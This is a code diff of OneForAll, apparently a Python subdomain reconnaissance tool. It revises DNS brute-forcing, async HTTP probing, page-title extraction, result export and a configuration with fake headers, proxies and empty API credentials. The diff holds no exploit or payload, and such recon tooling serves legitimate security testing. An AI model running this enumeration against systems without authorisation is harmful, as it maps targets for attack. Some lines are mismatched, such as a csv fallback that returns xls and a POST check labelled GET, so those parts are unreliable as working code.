# 进行下一层子域爆破的限制条件
|
# 进行下一层子域爆破的限制条件
|
||||||
if subdomain.count('.') - self.domain.count('.') == layer_num:
|
if subdomain.count('.') - self.domain.count('.') \
|
||||||
|
== layer_num:
|
||||||
loop.run_until_complete(self.main(subdomain,
|
loop.run_until_complete(self.main(subdomain,
|
||||||
rx_queue))
|
rx_queue))
|
||||||
# 队列不空就一直取数据存数据库
|
# 队列不空就一直取数据存数据库
|
||||||
@@ -310,8 +317,9 @@ class AIOBrute(Module):
|
|||||||
self.path = config.result_save_path.joinpath(name)
|
self.path = config.result_save_path.joinpath(name)
|
||||||
dbexport.export(self.domain,
|
dbexport.export(self.domain,
|
||||||
valid=self.valid,
|
valid=self.valid,
|
||||||
path=self.path,
|
dpath=self.path,
|
||||||
format=self.format)
|
format=self.format,
|
||||||
|
show=self.show)
|
||||||
|
|
||||||
|
|
||||||
def do(domain, result): # 统一入口名字 方便多线程调用
|
def do(domain, result): # 统一入口名字 方便多线程调用
|
||||||
|
|||||||
@@ -3,7 +3,6 @@ import threading
|
|||||||
import importlib
|
import importlib
|
||||||
import config
|
import config
|
||||||
import dbexport
|
import dbexport
|
||||||
from common.database import Database
|
|
||||||
from config import logger
|
from config import logger
|
||||||
|
|
||||||
|
|
||||||
@@ -18,7 +17,7 @@ class Collect(object):
|
|||||||
self.collect_func = []
|
self.collect_func = []
|
||||||
self.path = None
|
self.path = None
|
||||||
self.export = export
|
self.export = export
|
||||||
self.format = 'xlsx'
|
self.format = 'csv'
|
||||||
|
|
||||||
def get_mod(self):
|
def get_mod(self):
|
||||||
"""
|
"""
|
||||||
@@ -71,17 +70,12 @@ class Collect(object):
|
|||||||
for thread in threads:
|
for thread in threads:
|
||||||
thread.join()
|
thread.join()
|
||||||
|
|
||||||
# db = Database()
|
|
||||||
# db.create_table(self.domain)
|
|
||||||
# db.copy_table(self.domain, self.domain+'_collect')
|
|
||||||
# db.remove_invalid(self.domain)
|
|
||||||
# db.deduplicate_subdomain(self.domain)
|
|
||||||
# 数据库导出
|
# 数据库导出
|
||||||
if self.export:
|
if self.export:
|
||||||
if not self.path:
|
if not self.path:
|
||||||
name = f'{self.domain}.{self.format}'
|
name = f'{self.domain}.{self.format}'
|
||||||
self.path = config.result_save_path.joinpath(name)
|
self.path = config.result_save_path.joinpath(name)
|
||||||
dbexport.export(self.domain, path=self.path, format=self.format)
|
dbexport.export(self.domain, dpath=self.path, format=self.format)
|
||||||
end = time.time()
|
end = time.time()
|
||||||
self.elapsed = round(end - start, 1)
|
self.elapsed = round(end - start, 1)
|
||||||
|
|
||||||
|
|||||||
@@ -13,10 +13,10 @@ from config import logger
|
|||||||
|
|
||||||
class Database(object):
|
class Database(object):
|
||||||
def __init__(self, db_path=None):
|
def __init__(self, db_path=None):
|
||||||
self.conn = self.get_connection(db_path)
|
self.conn = self.get_conn(db_path)
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def get_connection(db_path):
|
def get_conn(db_path):
|
||||||
"""
|
"""
|
||||||
获取数据库对象
|
获取数据库对象
|
||||||
|
|
||||||
@@ -205,3 +205,6 @@ class Database(object):
|
|||||||
logger.log('ERROR', e)
|
logger.log('ERROR', e)
|
||||||
else:
|
else:
|
||||||
return rows
|
return rows
|
||||||
|
|
||||||
|
def close(self):
|
||||||
|
self.conn.close()
|
||||||
|
|||||||
@@ -31,9 +31,9 @@ class Domain(object):
|
|||||||
"""
|
"""
|
||||||
域名导出
|
域名导出
|
||||||
|
|
||||||
>>>d = Domain('www.example.com')
|
>>> d = Domain('www.example.com')
|
||||||
<domain.Domain object>
|
<domain.Domain object>
|
||||||
>>>d.extract()
|
>>> d.extract()
|
||||||
ExtractResult(subdomain='www', domain='example', suffix='com')
|
ExtractResult(subdomain='www', domain='example', suffix='com')
|
||||||
|
|
||||||
:return: 导出结果
|
:return: 导出结果
|
||||||
@@ -50,9 +50,9 @@ class Domain(object):
|
|||||||
"""
|
"""
|
||||||
获取注册域名
|
获取注册域名
|
||||||
|
|
||||||
>>>d = Domain('www.example.com')
|
>>> d = Domain('www.example.com')
|
||||||
<domain.Domain object>
|
<domain.Domain object>
|
||||||
>>>d.registered()
|
>>> d.registered()
|
||||||
example.com
|
example.com
|
||||||
|
|
||||||
:return: 注册域名
|
:return: 注册域名
|
||||||
|
|||||||
+13
-30
@@ -66,12 +66,13 @@ class Module(object):
|
|||||||
logger.log('DEBUG', f'{self.source}模块发现{self.domain}的子域\n'
|
logger.log('DEBUG', f'{self.source}模块发现{self.domain}的子域\n'
|
||||||
f'{self.subdomains}')
|
f'{self.subdomains}')
|
||||||
|
|
||||||
def get(self, url, params=None, **kwargs):
|
def get(self, url, params=None, check=True, **kwargs):
|
||||||
"""
|
"""
|
||||||
自定义get请求
|
自定义get请求
|
||||||
|
|
||||||
:param str url: 请求地址
|
:param str url: 请求地址
|
||||||
:param dict params: 请求参数
|
:param dict params: 请求参数
|
||||||
|
:param bool check: 检查响应
|
||||||
:param kwargs: 其他参数
|
:param kwargs: 其他参数
|
||||||
:return: requests响应对象
|
:return: requests响应对象
|
||||||
"""
|
"""
|
||||||
@@ -87,29 +88,19 @@ class Module(object):
|
|||||||
except Exception as e:
|
except Exception as e:
|
||||||
logger.log('ERROR', e)
|
logger.log('ERROR', e)
|
||||||
return None
|
return None
|
||||||
# 状态码非200或者响应体为空
|
if not check:
|
||||||
if resp.status_code != 200 or not resp.content:
|
|
||||||
logger.log('ALERT', f'GET {resp.url} {resp.status_code} - '
|
|
||||||
f'{resp.reason} {len(resp.content)}')
|
|
||||||
content_type = resp.headers.get('Content-Type')
|
|
||||||
if content_type and 'json' in content_type and resp.content:
|
|
||||||
try:
|
|
||||||
msg = resp.json()
|
|
||||||
except Exception as e:
|
|
||||||
logger.log('DEBUG', e.args)
|
|
||||||
else:
|
|
||||||
logger.log('ALERT', msg)
|
|
||||||
return None
|
|
||||||
logger.log('DEBUG', f'GET {resp.url} {resp.status_code} - '
|
|
||||||
f'{resp.reason} {len(resp.content)}')
|
|
||||||
return resp
|
return resp
|
||||||
|
if utils.check_response('GET', resp):
|
||||||
|
return resp
|
||||||
|
return None
|
||||||
|
|
||||||
def post(self, url, data=None, **kwargs):
|
def post(self, url, data=None, check=True, **kwargs):
|
||||||
"""
|
"""
|
||||||
自定义post请求
|
自定义post请求
|
||||||
|
|
||||||
:param str url: 请求地址
|
:param str url: 请求地址
|
||||||
:param dict data: 请求数据
|
:param dict data: 请求数据
|
||||||
|
:param bool check: 检查响应
|
||||||
:param kwargs: 其他参数
|
:param kwargs: 其他参数
|
||||||
:return: requests响应对象
|
:return: requests响应对象
|
||||||
"""
|
"""
|
||||||
@@ -125,20 +116,11 @@ class Module(object):
|
|||||||
except Exception as e:
|
except Exception as e:
|
||||||
logger.log('ERROR', e)
|
logger.log('ERROR', e)
|
||||||
return None
|
return None
|
||||||
# 状态码非200或者响应体为空
|
if not check:
|
||||||
if resp.status_code != 200 or not resp.content:
|
|
||||||
content_type = resp.headers.get('Content-Type')
|
|
||||||
if content_type and 'json' in content_type and resp.content:
|
|
||||||
try:
|
|
||||||
msg = resp.json()
|
|
||||||
except Exception as e:
|
|
||||||
logger.log('DEBUG', e.args)
|
|
||||||
else:
|
|
||||||
logger.log('ALERT', msg)
|
|
||||||
return None
|
|
||||||
logger.log('DEBUG', f'POST {resp.url} {resp.status_code} - '
|
|
||||||
f'{resp.reason} {len(resp.content)}')
|
|
||||||
return resp
|
return resp
|
||||||
|
if utils.check_response('GET', resp):
|
||||||
|
return resp
|
||||||
|
return None
|
||||||
|
|
||||||
def get_header(self):
|
def get_header(self):
|
||||||
"""
|
"""
|
||||||
@@ -274,4 +256,5 @@ class Module(object):
|
|||||||
source, results = self.results
|
source, results = self.results
|
||||||
# 将结果存入数据库中
|
# 将结果存入数据库中
|
||||||
db.save_db(self.domain, results, source)
|
db.save_db(self.domain, results, source)
|
||||||
|
db.close()
|
||||||
lock.release()
|
lock.release()
|
||||||
|
|||||||
+68
-20
@@ -1,7 +1,10 @@
|
|||||||
# coding=utf-8
|
# coding=utf-8
|
||||||
|
|
||||||
import asyncio
|
import asyncio
|
||||||
|
import functools
|
||||||
|
|
||||||
import aiohttp
|
import aiohttp
|
||||||
|
import tqdm
|
||||||
from aiohttp import ClientSession
|
from aiohttp import ClientSession
|
||||||
from aiohttp.resolver import AsyncResolver
|
from aiohttp.resolver import AsyncResolver
|
||||||
from bs4 import BeautifulSoup
|
from bs4 import BeautifulSoup
|
||||||
@@ -39,6 +42,8 @@ def gen_new_datas(datas, ports):
|
|||||||
for protocol in protocols:
|
for protocol in protocols:
|
||||||
if port == 443:
|
if port == 443:
|
||||||
url = f'https://{subdomain}:{port}'
|
url = f'https://{subdomain}:{port}'
|
||||||
|
elif port == 8443:
|
||||||
|
url = f'https://{subdomain}:{port}'
|
||||||
else:
|
else:
|
||||||
url = f'{protocol}{subdomain}:{port}'
|
url = f'{protocol}{subdomain}:{port}'
|
||||||
data['id'] = None
|
data['id'] = None
|
||||||
@@ -65,18 +70,57 @@ async def fetch(session, url, semaphore):
|
|||||||
allow_redirects=config.get_redirects,
|
allow_redirects=config.get_redirects,
|
||||||
timeout=timeout,
|
timeout=timeout,
|
||||||
proxy=config.get_proxy) as resp:
|
proxy=config.get_proxy) as resp:
|
||||||
|
|
||||||
|
try:
|
||||||
|
text = await resp.text(encoding='gb2312') # 先尝试用fb2312解码
|
||||||
|
except UnicodeDecodeError:
|
||||||
text = await resp.text()
|
text = await resp.text()
|
||||||
return resp, text
|
return resp, text
|
||||||
|
|
||||||
|
|
||||||
def deal_results(datas, results):
|
def get_title(markup):
|
||||||
for index, result in enumerate(results):
|
"""
|
||||||
if isinstance(result, Exception):
|
获取标题
|
||||||
logger.log('DEBUG', result.args)
|
|
||||||
datas[index]['reason'] = str(result.args)
|
:param markup: html标签
|
||||||
|
:return: 标题
|
||||||
|
"""
|
||||||
|
soup = BeautifulSoup(markup, 'lxml')
|
||||||
|
|
||||||
|
title = soup.title
|
||||||
|
if title:
|
||||||
|
return title.text.strip()
|
||||||
|
|
||||||
|
h1 = soup.h1
|
||||||
|
if h1:
|
||||||
|
return h1.text.strip()
|
||||||
|
|
||||||
|
h2 = soup.h2
|
||||||
|
if h2:
|
||||||
|
return h2.text.strip()
|
||||||
|
|
||||||
|
desc = soup.find('meta', attrs={'name': 'description'})
|
||||||
|
if desc:
|
||||||
|
return desc['content'].strip()
|
||||||
|
|
||||||
|
word = soup.find('meta', attrs={'name': 'keywords'})
|
||||||
|
if word:
|
||||||
|
return word['content'].strip()
|
||||||
|
|
||||||
|
if len(markup) <= 200:
|
||||||
|
return markup.strip()
|
||||||
|
|
||||||
|
return soup.text.strip()
|
||||||
|
|
||||||
|
|
||||||
|
def request_callback(future, index, datas):
|
||||||
|
try:
|
||||||
|
result = future.result()
|
||||||
|
except BaseException as e:
|
||||||
|
logger.log('DEBUG', e.args)
|
||||||
|
datas[index]['reason'] = str(e.args)
|
||||||
datas[index]['valid'] = 0
|
datas[index]['valid'] = 0
|
||||||
continue
|
else:
|
||||||
if isinstance(result, tuple):
|
|
||||||
resp, text = result
|
resp, text = result
|
||||||
datas[index]['reason'] = resp.reason
|
datas[index]['reason'] = resp.reason
|
||||||
datas[index]['status'] = resp.status
|
datas[index]['status'] = resp.status
|
||||||
@@ -89,16 +133,7 @@ def deal_results(datas, results):
|
|||||||
'Via': headers.get('Via'),
|
'Via': headers.get('Via'),
|
||||||
'X-Powered-By': headers.get('X-Powered-By')})
|
'X-Powered-By': headers.get('X-Powered-By')})
|
||||||
datas[index]['banner'] = banner
|
datas[index]['banner'] = banner
|
||||||
soup = BeautifulSoup(text, 'lxml')
|
datas[index]['title'] = get_title(text)
|
||||||
title = soup.title
|
|
||||||
head = soup.head
|
|
||||||
if title:
|
|
||||||
datas[index]['title'] = title.text
|
|
||||||
elif head:
|
|
||||||
datas[index]['title'] = head.text
|
|
||||||
elif len(text) <= 200:
|
|
||||||
datas[index]['title'] = text
|
|
||||||
return datas
|
|
||||||
|
|
||||||
|
|
||||||
async def bulk_get_request(datas, port):
|
async def bulk_get_request(datas, port):
|
||||||
@@ -107,7 +142,9 @@ async def bulk_get_request(datas, port):
|
|||||||
logger.log('INFOR', f'正在异步进行子域的GET请求')
|
logger.log('INFOR', f'正在异步进行子域的GET请求')
|
||||||
|
|
||||||
limit_open_conn = config.limit_open_conn
|
limit_open_conn = config.limit_open_conn
|
||||||
if not limit_open_conn:
|
if limit_open_conn is None: # 默认情况
|
||||||
|
limit_open_conn = utils.get_semaphore()
|
||||||
|
elif not isinstance(limit_open_conn, int): # 如果传入不是数字的情况
|
||||||
limit_open_conn = utils.get_semaphore()
|
limit_open_conn = utils.get_semaphore()
|
||||||
# 使用异步域名解析器 自定义域名服务器
|
# 使用异步域名解析器 自定义域名服务器
|
||||||
resolver = AsyncResolver(nameservers=config.resolver_nameservers)
|
resolver = AsyncResolver(nameservers=config.resolver_nameservers)
|
||||||
@@ -125,11 +162,22 @@ async def bulk_get_request(datas, port):
|
|||||||
for i, data in enumerate(new_datas):
|
for i, data in enumerate(new_datas):
|
||||||
url = data.get('url')
|
url = data.get('url')
|
||||||
task = asyncio.ensure_future(fetch(session, url, semaphore))
|
task = asyncio.ensure_future(fetch(session, url, semaphore))
|
||||||
|
task.add_done_callback(functools.partial(request_callback,
|
||||||
|
index=i,
|
||||||
|
datas=new_datas))
|
||||||
tasks.append(task)
|
tasks.append(task)
|
||||||
if tasks: # 任务列表里有任务不空时才进行解析
|
if tasks: # 任务列表里有任务不空时才进行解析
|
||||||
# 等待所有task完成 错误聚合到结果列表里
|
# 等待所有task完成 错误聚合到结果列表里
|
||||||
results = await asyncio.gather(*tasks, return_exceptions=True)
|
futures = asyncio.as_completed(tasks)
|
||||||
new_datas = deal_results(new_datas, results)
|
for future in tqdm.tqdm(futures,
|
||||||
|
total=len(tasks),
|
||||||
|
desc='Progress',
|
||||||
|
smoothing=1.0,
|
||||||
|
ncols=True):
|
||||||
|
try:
|
||||||
|
await future
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
logger.log('INFOR', f'完成异步进行子域的GET请求')
|
logger.log('INFOR', f'完成异步进行子域的GET请求')
|
||||||
return new_datas
|
return new_datas
|
||||||
|
|||||||
@@ -4,6 +4,8 @@ import functools
|
|||||||
|
|
||||||
import dns.resolver
|
import dns.resolver
|
||||||
import aiodns
|
import aiodns
|
||||||
|
import tqdm
|
||||||
|
|
||||||
import config
|
import config
|
||||||
from common import utils
|
from common import utils
|
||||||
from config import logger
|
from config import logger
|
||||||
@@ -49,12 +51,20 @@ async def aiodns_query_a(hostname, semaphore=None):
|
|||||||
"""
|
"""
|
||||||
if semaphore is None:
|
if semaphore is None:
|
||||||
resolver = aiodns_resolver()
|
resolver = aiodns_resolver()
|
||||||
|
try:
|
||||||
answers = await resolver.query(hostname, 'A')
|
answers = await resolver.query(hostname, 'A')
|
||||||
|
except BaseException as e:
|
||||||
|
logger.log('DEBUG', e.args)
|
||||||
|
answers = None
|
||||||
return hostname, answers
|
return hostname, answers
|
||||||
else:
|
else:
|
||||||
async with semaphore:
|
async with semaphore:
|
||||||
resolver = aiodns_resolver()
|
resolver = aiodns_resolver()
|
||||||
|
try:
|
||||||
answers = await resolver.query(hostname, 'A')
|
answers = await resolver.query(hostname, 'A')
|
||||||
|
except BaseException as e:
|
||||||
|
logger.log('DEBUG', e.args)
|
||||||
|
answers = None
|
||||||
return hostname, answers
|
return hostname, answers
|
||||||
|
|
||||||
|
|
||||||
@@ -67,7 +77,7 @@ def resolve_callback(future, index, datas):
|
|||||||
"""
|
"""
|
||||||
try:
|
try:
|
||||||
result = future.result()
|
result = future.result()
|
||||||
except Exception as e:
|
except BaseException as e:
|
||||||
datas[index]['ips'] = str(e.args)
|
datas[index]['ips'] = str(e.args)
|
||||||
datas[index]['valid'] = 0
|
datas[index]['valid'] = 0
|
||||||
else:
|
else:
|
||||||
@@ -99,6 +109,16 @@ async def bulk_query_a(datas):
|
|||||||
datas=datas)) # 回调
|
datas=datas)) # 回调
|
||||||
tasks.append(task)
|
tasks.append(task)
|
||||||
if tasks: # 任务列表里有任务不空时才进行解析
|
if tasks: # 任务列表里有任务不空时才进行解析
|
||||||
await asyncio.wait(tasks) # 等待所有task完成
|
futures = asyncio.as_completed(tasks)
|
||||||
|
for future in tqdm.tqdm(futures,
|
||||||
|
total=len(tasks),
|
||||||
|
desc='Progress',
|
||||||
|
smoothing=1.0,
|
||||||
|
ncols=True):
|
||||||
|
try:
|
||||||
|
await future
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
# await asyncio.wait(tasks) # 等待所有task完成
|
||||||
logger.log('INFOR', '完成异步查询子域的A记录')
|
logger.log('INFOR', '完成异步查询子域的A记录')
|
||||||
return datas
|
return datas
|
||||||
|
|||||||
@@ -1,10 +1,10 @@
|
|||||||
# coding=utf-8
|
# coding=utf-8
|
||||||
import re
|
import re
|
||||||
import pathlib
|
|
||||||
import random
|
import random
|
||||||
import ipaddress
|
import ipaddress
|
||||||
import platform
|
import platform
|
||||||
import config
|
import config
|
||||||
|
from pathlib import Path
|
||||||
from common.domain import Domain
|
from common.domain import Domain
|
||||||
from config import logger
|
from config import logger
|
||||||
|
|
||||||
@@ -109,20 +109,22 @@ def get_domains(target):
|
|||||||
:param set or str target:
|
:param set or str target:
|
||||||
:return: 域名集合
|
:return: 域名集合
|
||||||
"""
|
"""
|
||||||
domains = set()
|
domains = list()
|
||||||
logger.log('INFOR', f'正在获取域名')
|
logger.log('DEBUG', f'正在获取域名')
|
||||||
if isinstance(target, set):
|
if isinstance(target, (set, tuple)):
|
||||||
|
domains = list(target)
|
||||||
|
elif isinstance(target, list):
|
||||||
domains = target
|
domains = target
|
||||||
elif isinstance(target, str):
|
elif isinstance(target, str):
|
||||||
path = pathlib.Path(target)
|
path = Path(target)
|
||||||
if path.is_file():
|
if path.is_file():
|
||||||
with open(target) as file:
|
with open(target) as file:
|
||||||
for line in file:
|
for line in file:
|
||||||
domain = Domain(line.strip()).match()
|
domain = Domain(line.strip()).match()
|
||||||
if domain:
|
if domain:
|
||||||
domains.add(domain)
|
domains.append(domain)
|
||||||
if Domain(target).match():
|
elif Domain(target).match():
|
||||||
domains = {target}
|
domains = [target]
|
||||||
logger.log('INFOR', f'获取到{len(domains)}个域名')
|
logger.log('INFOR', f'获取到{len(domains)}个域名')
|
||||||
return domains
|
return domains
|
||||||
|
|
||||||
@@ -135,8 +137,73 @@ def get_semaphore():
|
|||||||
"""
|
"""
|
||||||
system = platform.system()
|
system = platform.system()
|
||||||
if system == 'Windows':
|
if system == 'Windows':
|
||||||
return 400
|
return 300
|
||||||
elif system == 'Linux':
|
elif system == 'Linux':
|
||||||
return 800
|
return 800
|
||||||
elif system == 'Darwin':
|
elif system == 'Darwin':
|
||||||
return 800
|
return 800
|
||||||
|
|
||||||
|
|
||||||
|
def check_dpath(dpath):
|
||||||
|
"""
|
||||||
|
检查目录路径
|
||||||
|
|
||||||
|
:param dpath: 传入的目录路径
|
||||||
|
:return: 目录路径
|
||||||
|
"""
|
||||||
|
if isinstance(dpath, str):
|
||||||
|
dpath = Path(dpath)
|
||||||
|
else:
|
||||||
|
dpath = config.result_save_path
|
||||||
|
if not dpath.is_dir():
|
||||||
|
logger.log('FATAL', f'{dpath}不是目录')
|
||||||
|
if not dpath.exists():
|
||||||
|
logger.log('ALERT', f'不存在{dpath}将会新建此目录')
|
||||||
|
dpath.mkdir(parents=True, exist_ok=True)
|
||||||
|
return dpath
|
||||||
|
|
||||||
|
|
||||||
|
def check_format(format):
|
||||||
|
"""
|
||||||
|
检查导出格式
|
||||||
|
|
||||||
|
:param format: 传入的导出格式
|
||||||
|
:return: 导出格式
|
||||||
|
"""
|
||||||
|
formats = ['txt', 'rst', 'csv', 'tsv', 'json', 'yaml', 'html',
|
||||||
|
'jira', 'xls', 'xlsx', 'dbf', 'latex', 'ods']
|
||||||
|
if format in formats:
|
||||||
|
return format
|
||||||
|
else:
|
||||||
|
logger.log('ALERT', f'不支持{format}格式导出')
|
||||||
|
logger.log('ALERT', '默认使用csv格式导出')
|
||||||
|
return 'xls'
|
||||||
|
|
||||||
|
|
||||||
|
def save_data(fpath, data):
|
||||||
|
try:
|
||||||
|
with open(fpath, 'w', encoding="utf-8", newline='') as file:
|
||||||
|
file.write(data)
|
||||||
|
logger.log('ALERT', fpath)
|
||||||
|
except TypeError:
|
||||||
|
with open(fpath, 'wb') as file:
|
||||||
|
file.write(data)
|
||||||
|
logger.log('ALERT', fpath)
|
||||||
|
except Exception as e:
|
||||||
|
logger.log('ERROR', e)
|
||||||
|
|
||||||
|
|
||||||
|
def check_response(method, resp):
|
||||||
|
if resp.status_code == 200 and resp.content:
|
||||||
|
return True
|
||||||
|
logger.log('ALERT', f'{method} {resp.url} {resp.status_code} - '
|
||||||
|
f'{resp.reason} {len(resp.content)}')
|
||||||
|
content_type = resp.headers.get('Content-Type')
|
||||||
|
if content_type and 'json' in content_type and resp.content:
|
||||||
|
try:
|
||||||
|
msg = resp.json()
|
||||||
|
except Exception as e:
|
||||||
|
logger.log('DEBUG', e.args)
|
||||||
|
else:
|
||||||
|
logger.log('ALERT', msg)
|
||||||
|
return False
|
||||||
|
|||||||
+32
-12
@@ -5,6 +5,8 @@ OneForAll配置
|
|||||||
import os
|
import os
|
||||||
import sys
|
import sys
|
||||||
import pathlib
|
import pathlib
|
||||||
|
|
||||||
|
import requests
|
||||||
from loguru import logger
|
from loguru import logger
|
||||||
|
|
||||||
# 路径设置
|
# 路径设置
|
||||||
@@ -15,8 +17,8 @@ data_storage_path = oneforall_relpath.joinpath('data') # 数据存放目录
|
|||||||
result_save_path = oneforall_relpath.joinpath('results') # 结果保存目录
|
result_save_path = oneforall_relpath.joinpath('results') # 结果保存目录
|
||||||
|
|
||||||
# 模块设置
|
# 模块设置
|
||||||
save_module_result = True # 保存模块中各脚本结果 默认保存
|
save_module_result = True # 保存模块中各脚本结果(默认True)
|
||||||
enable_all_module = True # 启用所有模块 默认启用
|
enable_all_module = True # 启用所有模块(默认True)
|
||||||
enable_partial_module = [] # 启用部分模块 必须禁用enable_all_module才能生效
|
enable_partial_module = [] # 启用部分模块 必须禁用enable_all_module才能生效
|
||||||
# 只使用ask和baidu搜索引擎收集子域
|
# 只使用ask和baidu搜索引擎收集子域
|
||||||
# enable_partial_module = [('modules.search', 'ask')
|
# enable_partial_module = [('modules.search', 'ask')
|
||||||
@@ -25,20 +27,21 @@ enable_partial_module = [] # 启用部分模块 必须禁用enable_all_module
|
|||||||
|
|
||||||
# 爆破模块设置
|
# 爆破模块设置
|
||||||
enable_brute_module = False # 使用爆破模块(默认禁用)
|
enable_brute_module = False # 使用爆破模块(默认禁用)
|
||||||
|
enable_verify_subdomain = True # 验证子域有效性(默认True)
|
||||||
enable_wildcard_check = True # 开启泛解析检测 会去掉泛解析的子域
|
enable_wildcard_check = True # 开启泛解析检测 会去掉泛解析的子域
|
||||||
# 爆破时使用的进程数(根据系统中CPU数量情况设置 不宜大于CPU数量 默认为系统中的CPU数量)
|
# 爆破时使用的进程数(根据系统中CPU数量情况设置 不宜大于CPU数量 默认为系统中的CPU数量)
|
||||||
brute_processes_num = os.cpu_count()
|
brute_process_num = os.cpu_count()
|
||||||
brute_coroutine_num = 128 # 爆破时每个进程下的协程数(不宜大于1000)
|
brute_coroutine_num = 128 # 爆破时每个进程下的协程数(不宜大于1000)
|
||||||
# 爆破所使用的字典路径 默认data/subdomains.txt
|
# 爆破所使用的字典路径 默认data/subdomains.txt
|
||||||
brute_wordlist_path = 'data/subdomains.txt'
|
brute_wordlist_path = data_storage_path.joinpath('subnames.txt')
|
||||||
brute_task_segment = 500
|
brute_task_segment = 500
|
||||||
# 参数segment的设置受CPU性能,网络带宽,运营商限制等问题影响,默认设置500个子域为一任务组,
|
# 参数segment的设置受CPU性能,网络带宽,运营商限制等限制,默认500个子域为一任务组,
|
||||||
# 当你觉得你的环境不受以上因素影响,当前爆破速度较慢,那么强烈建议根据字典大小调整大小:
|
# 当你觉得你的环境不受以上因素影响,当前爆破速度较慢,那么强烈建议根据字典大小调整大小:
|
||||||
# 十万字典建议设置为5000,百万字典设置为50000
|
# 十万字典建议设置为5000,百万字典设置为50000
|
||||||
enable_recursive_brute = False # 是否使用递归爆破(默认禁用)
|
enable_recursive_brute = False # 是否使用递归爆破(默认禁用)
|
||||||
brute_recursive_depth = 2 # 递归爆破深度(默认2层)
|
brute_recursive_depth = 2 # 递归爆破深度(默认2层)
|
||||||
# 爆破下一层子域所使用的字典路径 默认data/next_subdomains.txt
|
# 爆破下一层子域所使用的字典路径 默认data/next_subdomains.txt
|
||||||
recursive_namelist_path = 'data/next_subdomains.txt'
|
recursive_namelist_path = data_storage_path.joinpath('next_subnames.txt')
|
||||||
enable_fuzz = False # 是否使用fuzz模式枚举域名
|
enable_fuzz = False # 是否使用fuzz模式枚举域名
|
||||||
fuzz_rule = '' # fuzz域名的正则 示例:[a-z][0-9] 第一位是字母 第二位是数字
|
fuzz_rule = '' # fuzz域名的正则 示例:[a-z][0-9] 第一位是字母 第二位是数字
|
||||||
ips_appear_maximum = 10 # 同一IP集合出现次数超过10认为是泛解析
|
ips_appear_maximum = 10 # 同一IP集合出现次数超过10认为是泛解析
|
||||||
@@ -52,15 +55,16 @@ proxy_partial_module = ['GoogleQuery', 'AskSearch', 'DuckDuckGoSearch',
|
|||||||
'ContentSecurityPolicy'] # 代理自定义的模块
|
'ContentSecurityPolicy'] # 代理自定义的模块
|
||||||
proxy_pool = [{'http': 'http://127.0.0.1:1080',
|
proxy_pool = [{'http': 'http://127.0.0.1:1080',
|
||||||
'https': 'https://127.0.0.1:1080'}] # 代理池
|
'https': 'https://127.0.0.1:1080'}] # 代理池
|
||||||
# proxy_pool = [{'http': 'socks5://127.0.0.1:10808',
|
# proxy_pool = [{'http': 'socks5h://127.0.0.1:10808',
|
||||||
# 'https': 'socks5://127.0.0.1:10808'}] # 代理池
|
# 'https': 'socks5h://127.0.0.1:10808'}] # 代理池
|
||||||
|
|
||||||
|
|
||||||
# 网络请求设置
|
# 网络请求设置
|
||||||
enable_fake_header = True # 启用伪造请求头
|
enable_fake_header = True # 启用伪造请求头
|
||||||
request_delay = 1 # 请求时延
|
request_delay = 1 # 请求时延
|
||||||
request_timeout = 60 # 请求超时
|
request_timeout = 30 # 请求超时
|
||||||
request_verify = True # 请求SSL验证
|
request_verify = True # 请求SSL验证
|
||||||
|
requests.packages.urllib3.disable_warnings() # 禁用安全警告信息
|
||||||
|
|
||||||
# 搜索模块设置
|
# 搜索模块设置
|
||||||
enable_recursive_search = False # 递归搜索子域
|
enable_recursive_search = False # 递归搜索子域
|
||||||
@@ -116,7 +120,7 @@ censys_api_secret = ''
|
|||||||
# 免费的API有效期只有1个月,到期之后可以再次生成,每月可以查询250次。
|
# 免费的API有效期只有1个月,到期之后可以再次生成,每月可以查询250次。
|
||||||
binaryedge_api = ''
|
binaryedge_api = ''
|
||||||
|
|
||||||
# Binaryedge可以免费注册获取API:http://api.chinaz.com/ApiDetails/Alexa
|
# Chinaz可以免费注册获取API:http://api.chinaz.com/ApiDetails/Alexa
|
||||||
chinaz_api = ''
|
chinaz_api = ''
|
||||||
|
|
||||||
# Bing可以免费注册获取API:https://azure.microsoft.com/zh-cn/services/
|
# Bing可以免费注册获取API:https://azure.microsoft.com/zh-cn/services/
|
||||||
@@ -168,19 +172,35 @@ dnsdb_api_key = ''
|
|||||||
# 免费的API有效期只有2天,到期之后可以再次生成,每天可以查询50次。
|
# 免费的API有效期只有2天,到期之后可以再次生成,每天可以查询50次。
|
||||||
ipv4info_api_key = ''
|
ipv4info_api_key = ''
|
||||||
|
|
||||||
|
# https://github.com/360netlab/flint
|
||||||
|
# passivedns_api_addr默认空使用http://api.passivedns.cn
|
||||||
|
# passivedns_api_token可为空
|
||||||
|
passivedns_api_addr = ''
|
||||||
|
passivedns_api_token = ''
|
||||||
|
|
||||||
|
# Github Token可以访问https://github.com/settings/tokens生成,user为Github用户名
|
||||||
|
github_api_user = ''
|
||||||
|
github_api_token = ''
|
||||||
|
# github子域收集模块使用
|
||||||
|
github_email = ''
|
||||||
|
github_password = ''
|
||||||
|
|
||||||
subdomains_common = {'i', 'w', 'm', 'en', 'us', 'zh', 'w3', 'app', 'bbs',
|
subdomains_common = {'i', 'w', 'm', 'en', 'us', 'zh', 'w3', 'app', 'bbs',
|
||||||
'web', 'www', 'job', 'docs', 'news', 'blog', 'data',
|
'web', 'www', 'job', 'docs', 'news', 'blog', 'data',
|
||||||
'help', 'live', 'mall', 'blogs', 'files', 'forum',
|
'help', 'live', 'mall', 'blogs', 'files', 'forum',
|
||||||
'store', 'mobile'}
|
'store', 'mobile'}
|
||||||
|
|
||||||
# 日志配置
|
# 日志配置
|
||||||
|
# 终端日志输出格式
|
||||||
stdout_fmt = '<cyan>{time:HH:mm:ss,SSS}</cyan> ' \
|
stdout_fmt = '<cyan>{time:HH:mm:ss,SSS}</cyan> ' \
|
||||||
'[<level>{level: <5}</level>] ' \
|
'[<level>{level: <5}</level>] ' \
|
||||||
'<blue>{module}</blue>:<cyan>{line}</cyan> - ' \
|
'<blue>{module}</blue>:<cyan>{line}</cyan> - ' \
|
||||||
'<level>{message}</level>'
|
'<level>{message}</level>'
|
||||||
|
# 日志文件记录格式
|
||||||
logfile_fmt = '<light-green>{time:YYYY-MM-DD HH:mm:ss,SSS}</light-green> ' \
|
logfile_fmt = '<light-green>{time:YYYY-MM-DD HH:mm:ss,SSS}</light-green> ' \
|
||||||
'[<level>{level: <5}</level>] ' \
|
'[<level>{level: <5}</level>] ' \
|
